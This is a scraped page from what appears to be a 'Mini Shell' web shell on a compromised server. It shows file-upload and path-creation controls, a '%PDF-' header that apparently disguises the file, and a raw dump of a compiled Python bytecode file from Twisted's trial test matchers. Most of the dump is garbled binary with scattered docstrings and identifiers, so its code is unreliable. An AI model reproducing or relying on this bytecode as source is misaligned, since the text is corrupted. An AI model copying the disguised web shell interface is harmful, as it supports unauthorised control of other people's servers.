%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/trial/_dist/test/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/trial/_dist/test/__pycache__/matchers.cpython-312.pyc

�

Ϫ�f����dZgd�ZddlmZmZmZmZmZddlm	Z	m
Z
mZmZm
Z
mZddlmZddlmZddlmZddlmZdd	lmZdd
lmZed�ZGd�d
ee�Zedee��Zed�ed�ed�ed�ed�ed�fdeedeedeedeedeedeedeefd�ZGd�deee�ZGd�deee�Zdee dee fd�Z!de"de"deeee"e"e#ee ee ffd �Z$y!)"z5
Hamcrest matchers useful throughout the test suite.
)�matches_result�HasSum�IsSequenceOf�)�Any�List�Sequence�Tuple�TypeVar)�contains_exactly�contains_string�equal_to�
has_length�has_properties�instance_of)�BaseMatcher)�AllOf)�Description)�Matcher)�Protocol)�Failure�Tc� �eZdZdZdedefd�Zy)�	Semigroupz�
    A type with an associative binary operator.

    Common examples of a semigroup are integers with addition and strings with
    concatenation.
    �other�returnc��y)zF
        This must be associative: a + (b + c) == (a + b) + c
        N�)�selfrs  �C/usr/lib/python3/dist-packages/twisted/trial/_dist/test/matchers.py�__add__zSemigroup.__add__+s��N)�__name__�
__module__�__qualname__�__doc__rr rr!rrr#s����Q��1�r!r�S)�bound�	successes�errors�failures�skips�expectedFailures�unexpectedSuccessesrc	�&�t||||||d��S)zA
    Match a L{TestCase} instances with matching attributes.
    �r(r)r*r+r,r-)rr/s      rrr4s(���"�� �� 0�#6�
	
�	�	r!c��eZdZdZdeededdfd�Zdeedefd�Zd	eede	fd
�Z
d	eededdfd�Zdeddfd
�Z
y)rz�
    Match a sequence the elements of which sum to a value matched by
    another matcher.

    :ivar sumMatcher: The matcher which must match the sum.
    :ivar zero: The zero value for the matched type.
    �
sumMatcher�zerorNc� �||_||_y�N)r1r2)rr1r2s   r�__init__zHasSum.__init__Ts��$�����	r!�sequencec�R�|s|jS|j}|D]}||z}�	|Sr4)r2)rr6�result�elems    r�_sumzHasSum._sumXs5����9�9�������	#�D��d�]�F�	#��
r!�itemc�Z�|j|�}|jj|�S)zG
        Determine whether the sum of the sequence is matched.
        )r:r1�matches)rr;�ss   r�_matcheszHasSum._matches`s&��
�I�I�d�O�����&�&�q�)�)r!�descriptionc��|j|�}|j|�|jj||�y)�(
        Describe the mismatch.
        N)r:�append_description_ofr1�describe_mismatch)rr;r@r>s    rrDzHasSum.describe_mismatchgs6��
�I�I�d�O���)�)�$�/����)�)�!�[�9�r!c�~�|jd�|j|j�|jd�y)�;
        Describe this matcher for error messages.
        za sequence with sum �, N)�append_textrCr1�rr@s  r�describe_tozHasSum.describe_tops3��	��� 6�7��)�)�$�/�/�:�����%r!)r"r#r$r%rr&r5rr:�boolr?rrDrJrr!rrrKs�����7�1�:��Q��4���X�a�[��Q��*�X�a�[�*�T�*��h�q�k����PT��&�{�&�t�&r!rc�f�eZdZdZdeeddfd�Zdeedefd�Z	deede
ddfd	�Zde
ddfd
�Zy)rz�
    Match a sequence where every element is matched by another matcher.

    :ivar elementMatcher: The matcher which must match every element of the
        sequence.
    �elementMatcherrNc��||_yr4)rM)rrMs  rr5zIsSequenceOf.__init__�s
��,��r!r;c�L�|D]}|jj|�r�yy)zM
        Determine whether every element of the sequence is matched.
        FT)rMr=)rr;r9s   rr?zIsSequenceOf._matches�s/���	�D��&�&�.�.�t�4��	�r!r@c��t|�D]I\}}|jj|�r�"|j|�|j	d|�d|����Ky)rBznot sequence with element #� N)�	enumeraterMr=rCrH)rr;r@�idxr9s     rrDzIsSequenceOf.describe_mismatch�s[��#�4��	V�I�C���&�&�.�.�t�4��1�1�$�7��'�'�*E�c�U�!�D�8�(T�U�	Vr!c�~�|jd�|j|j�|jd�y)rFza sequence containing only rGN)rHrCrMrIs  rrJzIsSequenceOf.describe_to�s5��	��� =�>��)�)�$�*=�*=�>�����%r!)
r"r#r$r%rrr5rrKr?rrDrJrr!rrrysk���-�w�q�z�-�d�-��X�a�[��T��V�h�q�k�V��V�PT�V�&�{�&�t�&r!r�
propertiesc�F�ttt�tdi|���S)zC
    Match an instance of L{Failure} with matching attributes.
    r)rrrr)rUs r�	isFailurerW�s$����G���$��$��r!�functionName�fileNamec	��tt|�t|�tt�td�td��S)zk
    Match a tuple representation of a frame like those used by
    L{twisted.python.failure.Failure}.
    r)rr
rr�intr)rXrYs  r�similarFramer\�s9��������!��C��	�1�
��1�
��r!N)%r%�__all__�typingrrrr	r
�hamcrestrrr
rrr�hamcrest.core.base_matcherr�hamcrest.core.core.allofr�hamcrest.core.descriptionr�hamcrest.core.matcherrr�twisted.python.failurerrrr&rrr�objectrW�strr[r\rr!r�<module>rgsw�����7�6���3�*�1�)��*��C�L��������C�y��~�&��'�q�k�%�a�=�'��]�$�Q�-�%/��]�(2�1�
�
��s�|���C�L���c�l���3�<�	�
�c�l��!���
�
�S�\��.+&�[��!��
%�+&�\#&�;�x��{�+�#&�L�G�F�O���������!$���X�e�C��c�4��<��f��E�F�
G�H�r!

Zerion Mini Shell 1.0